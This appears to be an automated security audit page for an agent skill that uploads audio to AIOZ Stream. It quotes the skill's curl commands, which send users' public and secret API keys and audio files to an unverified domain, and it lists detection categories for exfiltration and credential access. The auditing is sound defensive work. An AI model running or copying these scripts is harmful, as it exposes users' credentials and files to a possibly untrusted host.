Security audit

Upload audio to AIOZ Stream

Security checks for vulnerabilities and agentic risk

Overview

The skill does perform audio-upload work, but it sends your secret API key and audio file to a remote host whose AIOZ relationship is not established in the artifacts.

Review before installing. Only use this skill if you can independently confirm that api-w3stream.attoaioz.cyou is the correct trusted endpoint for your AIOZ Stream account, and use scoped or temporary credentials if available. Avoid placing secret keys directly in shell commands or chat transcripts; rotate any key already used with an endpoint you cannot verify.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (2)

other

Error

Location: scripts/upload_audio_file.sh:53
Finding: API Credentials and User Audio Are Transmitted to an Unverified Service Domain
Content: View full analysis
Vulnerability Details

File Location: SKILL.md:23-29, 46-50, 117-123, 146-150; scripts/create_audio_default.sh:14-20; scripts/create_audio_custom.sh:19-23; scripts/get_audio_detail.sh:14-16; scripts/upload_audio_file.sh:22-29, 53-59, 67-70, 79-81
Vulnerability Type: Sensitive credential and user-data transmission to an unverified endpoint
Risk Level: High

Vulnerable Code

scripts/upload_audio_file.sh:53-59:

bash
UPLOAD_RESPONSE=$(curl -s -X POST "https://api-w3stream.attoaioz.cyou/api/videos/$AUDIO_ID/part" \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H "Content-Range: bytes 0-$END_POS/$FILE_SIZE" \ -F "file=@$FILE_PATH" \ -F "index=0" \ -F "hash=$HASH")

scripts/upload_audio_file.sh:67-70:

bash
COMPLETE_RESPONSE=$(curl -s -X GET "https://api-w3stream.attoaioz.cyou/api/videos/$AUDIO_ID/complete" \ -H 'accept: application/json' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY")

scripts/create_audio_custom.sh:19-23:

bash
curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H 'Content-Type: application/json' \ -d @"$CONFIG_FILE"

scripts/get_audio_detail.sh:14-16:

bash
curl -s "https://api-w3stream.attoaioz.cyou/api/videos/$AUDIO_ID" \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY"

Technical Analysis

The declared purpose of the Skill requires sending a selected audio file to a streaming provider. Network access and transmission of that particular file are therefore functionally necessary. Authentication headers may also be necessary for the provider API.

However, the package sends the user's public and secret API keys on every request to api-w3stream.attoaioz.cyou, and sends the complete selected audio ...[truncated 2379 chars]
Remediation: View remediation
Remediation Suggestions

Replace api-w3stream.attoaioz.cyou with an endpoint documented and controlled by the official AIOZ service. Verify domain ownership through authoritative provider documentation rather than relying on package documentation.

Clearly disclose the exact destination host before transmitting credentials or user content, and require explicit user consent before uploading the file.

Use narrowly scoped, short-lived, and revocable upload tokens instead of a reusable account secret whenever the provider supports them.

Do not send the secret key on operations that can use a less privileged credential.

Restrict the Skill's network allowlist to the verified provider API and required content-delivery hosts.

Add certificate and hostname verification requirements. Do not introduce options such as curl -k or --insecure.

Document the data transferred, retention expectations, credential scope, and revocation procedure.

Validate that the selected path is the exact file authorized by the user before upload, and avoid automatic directory traversal or bulk-file behavior.

Rotate any credentials previously supplied to the current scripts if the endpoint cannot be independently verified.

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/upload_audio_file.sh:3
Finding: Secret API Keys Are Passed Through Process Command-Line Arguments
Content: View full analysis
Vulnerability Details

File Location: scripts/create_audio_default.sh:3-6; scripts/create_audio_custom.sh:3-6; scripts/get_audio_detail.sh:3-6; scripts/upload_audio_file.sh:3-6
Vulnerability Type: Insecure secret handling through process arguments
Risk Level: Medium

Vulnerable Code

scripts/upload_audio_file.sh:3-6:

bash
# Usage: ./upload_audio_file.sh PUBLIC_KEY SECRET_KEY FILE_PATH TITLE PUBLIC_KEY="$1" SECRET_KEY="$2"

scripts/create_audio_default.sh:3-6:

bash
# Usage: ./create_audio_default.sh "PUBLIC_KEY" "SECRET_KEY" "Audio Title" PUBLIC_KEY="$1" SECRET_KEY="$2"

scripts/create_audio_custom.sh:3-6:

bash
# Usage: ./create_audio_custom.sh PUBLIC_KEY SECRET_KEY CONFIG_JSON_FILE PUBLIC_KEY="$1" SECRET_KEY="$2"

scripts/get_audio_detail.sh:3-6:

bash
# Usage: ./get_audio_detail.sh PUBLIC_KEY SECRET_KEY AUDIO_ID PUBLIC_KEY="$1" SECRET_KEY="$2"

Technical Analysis

Every script requires the secret API key as its second command-line argument. Command-line secrets can be exposed through shell history, agent execution transcripts, process monitoring, job-control systems, diagnostic tooling, audit logs, or orchestration telemetry. Visibility through process inspection depends on the operating-system configuration and user permissions, but the design unnecessarily broadens exposure beyond the script and destination service.

Quoting the secret prevents shell word splitting but does not prevent it from appearing in the process argument vector or invocation logs. The same pattern is repeated across all four scripts.

Attack Path

The user or Agent invokes a script with the secret key embedded in the command line.

The complete command may be stored in shell history, Agent logs, task-runner records, or monitoring telemetry.

While the process is running, another sufficiently authorized local process may inspect its arg ...[truncated 779 chars]
Remediation: View remediation
Remediation Suggestions

Do not accept secret keys as positional command-line arguments.

Retrieve credentials from an operating-system credential manager or the Agent platform's protected secret store.

If a secret store is unavailable, read the secret interactively without terminal echo, for example with read -r -s, or pass it through a dedicated inherited file descriptor.

A protected environment variable may be preferable to command-line arguments in some environments, but it can still leak through process dumps, debugging, or improperly configured logging. Treat it as an interim measure rather than the strongest solution.

Ensure command tracing is disabled around credential handling and never enable set -x while secrets are in shell variables.

Redact authentication headers and secret values from Agent logs, error reports, telemetry, and execution transcripts.

Use short-lived, least-privileged credentials and provide a documented rotation and revocation process.

Update all usage comments and examples so users are never instructed to place secrets directly in shell commands.

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access

Findings (20)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: Although framed as a mismatch finding, the substantive issue is that the skill instructs direct handling of public/secret API keys and uses networked shell commands without declaring that access pattern in permissions or safety guidance. This can mislead users about the sensitivity of the operation and increase the risk of accidental credential exposure or over-broad execution.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 94% confidence
Finding: Although framed as a mismatch finding, the substantive issue is that the skill instructs direct handling of public/secret API keys and uses networked shell commands without declaring that access pattern in permissions or safety guidance. This can mislead users about the sensitivity of the operation and increase the risk of accidental credential exposure or over-broad execution.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: Although framed as a mismatch finding, the substantive issue is that the skill instructs direct handling of public/secret API keys and uses networked shell commands without declaring that access pattern in permissions or safety guidance. This can mislead users about the sensitivity of the operation and increase the risk of accidental credential exposure or over-broad execution.
Content: No source excerpt is available for this finding.

Tp4

High

Category: MCP Tool Poisoning
Confidence: 97% confidence
Finding: Although framed as a mismatch finding, the substantive issue is that the skill instructs direct handling of public/secret API keys and uses networked shell commands without declaring that access pattern in permissions or safety guidance. This can mislead users about the sensitivity of the operation and increase the risk of accidental credential exposure or over-broad execution.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The script behavior does not match the declared skill purpose: it claims to create audio uploads, but it posts to a video creation endpoint. This mismatch can cause users to send credentials and configuration to an unintended API path, undermining informed consent and increasing the chance of misrouting data or operating on the wrong media object type.
Content: No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 91% confidence
Finding: The skill clearly requires shell/network execution via curl, jq, and md5sum, but it declares no explicit tool scope or permission boundaries. That makes the capability surface opaque to users and host systems, increasing the chance that sensitive local files or credentials are accessed and transmitted without adequate policy enforcement.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 90% confidence
Finding: The skill is explicitly designed to transmit local audio files and API credentials to an external service using curl. External transmission is expected for this use case, but it still represents a real data-exfiltration surface because the skill reads a user-specified local file and sends it, along with authentication headers, to a remote endpoint.
Content: Scanner excerpt · SKILL.md (reported line 9)May include surrounding context.
md
emoji: "🎵" requires: bins: - curl - jq - md5sum ---

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The skill asks the user to provide a secret API key and states it will be transmitted on all HTTP calls, but provides no warning about secure handling, storage, logging, or redaction. In agent environments, pasted secrets may be retained in transcripts, shell history, or tool logs, creating a significant risk of credential compromise.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 70% confidence
Finding: Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
Content: Scanner excerpt · scripts/create_audio_custom.sh (reported line 19)May include surrounding context.
sh
exit 1 fi curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H 'Content-Type: application/json' \

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 94% confidence
Finding: The script performs an HTTP POST and includes both public and secret keys in request headers, plus uploads the provided JSON configuration file as the request body. While the code is functional, there is no confirmation prompt, visible disclosure beyond the raw command usage, or comment warning that credentials and file contents will be sent to a remote API endpoint.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 88% confidence
Finding: This script performs an outbound network request to a third-party domain and includes sensitive authentication headers derived from user input. In a skill that processes user-provided secrets, external transmission is expected, but it is still security-relevant because users may not realize their credentials are being sent off-host and command-line supplied secrets may also be exposed locally through process inspection or shell history.
Content: Scanner excerpt · scripts/create_audio_default.sh (reported line 14)May include surrounding context.
sh
exit 1 fi curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H 'Content-Type: application/json' \

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The script sends user-supplied API credentials to an external service without any warning, consent prompt, or disclosure in the script itself. While transmitting credentials to the intended API is functionally necessary for this skill, the lack of explicit user-facing notice and the use of long-lived secret keys increases the risk of accidental credential exposure or misuse in an agent-driven context.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The script's behavior does not match the stated skill purpose: it fetches media metadata from a /videos/{id} endpoint instead of uploading audio. This mismatch is security-relevant because users may provide sensitive credentials and audio-related identifiers under false assumptions about what the skill will do, reducing informed consent and making misuse or data exposure more likely.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 91% confidence
Finding: The script sends both the public and secret API keys directly in HTTP headers to a remote service without any warning beyond a minimal usage string. Even though HTTPS is used, transmitting high-value credentials without explicit disclosure, least-privilege handling, or safer auth workflows increases the risk of accidental credential misuse, logging exposure, or use in an unintended context.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 86% confidence
Finding: The script transmits sensitive credentials (public and secret API keys) and user-supplied file content to an external third-party endpoint. In the context of an agent skill, this is security-relevant because invoking the skill exfiltrates local data and secrets off-host, and there is no host allowlisting, user confirmation, or validation that the destination is expected and trusted.
Content: Scanner excerpt · scripts/upload_audio_file.sh (reported line 22)May include surrounding context.
sh
# Step 1: Create audio object echo "Creating audio object..." CREATE_RESPONSE=$(curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H 'Content-Type: application/json' \

Missing User Warnings

Low

Category: Not specified by scanner
Confidence: 78% confidence
Finding: This markdown file describes transmitting both a public and secret API key in HTTP headers, which is a privacy- and security-relevant behavior. The reference does not include any warning or handling guidance about protecting the secret key, avoiding client-side exposure, or treating it as sensitive credential material.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The file states that language accepts BCP 47 codes, but all example configurations force "en" as the language value. Because no opt-in, language choice, or justification is provided, the examples implicitly privilege a specific language and may encourage downstream implementations to do the same.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 88% confidence
Finding: This example sets language to "en" even though the parameter is described as supporting general BCP 47 codes. Without any note that the language should be user-selected or context-dependent, the example can be read as prescribing English by default.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The lossless configuration also defaults the language field to "en" despite the broader support for multiple language codes. This creates an unnecessary English-default pattern without any user opt-in or documented reason.
Content: No source excerpt is available for this finding.

Intent-Code Divergence

Low

Category: Not specified by scanner
Confidence: 98% confidence
Finding: The comments say the script uploads an audio file to "W3Stream" and later refer to video-oriented endpoints, but the implemented request explicitly creates an object with "type": "audio" and later presents final audio details. This is a documentation-to-code mismatch that could mislead maintainers about the skill's actual target resource and behavior.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.

Overview

A.I.G

other

Vulnerability Details

Vulnerable Code

Technical Analysis

Remediation Suggestions

T09 · Insecure Skill Coding Practices

Vulnerability Details

Vulnerable Code

Technical Analysis

Attack Path

Remediation Suggestions

SkillSpector

Tp4

Tp4

Tp4

Tp4

Description-Behavior Mismatch

Undeclared Tool Scope

External Transmission

Missing User Warnings

External Transmission

Missing User Warnings

External Transmission

Missing User Warnings

Description-Behavior Mismatch

Missing User Warnings

External Transmission

Missing User Warnings

Natural-Language Policy Violations

Natural-Language Policy Violations

Natural-Language Policy Violations

Intent-Code Divergence

Static analysis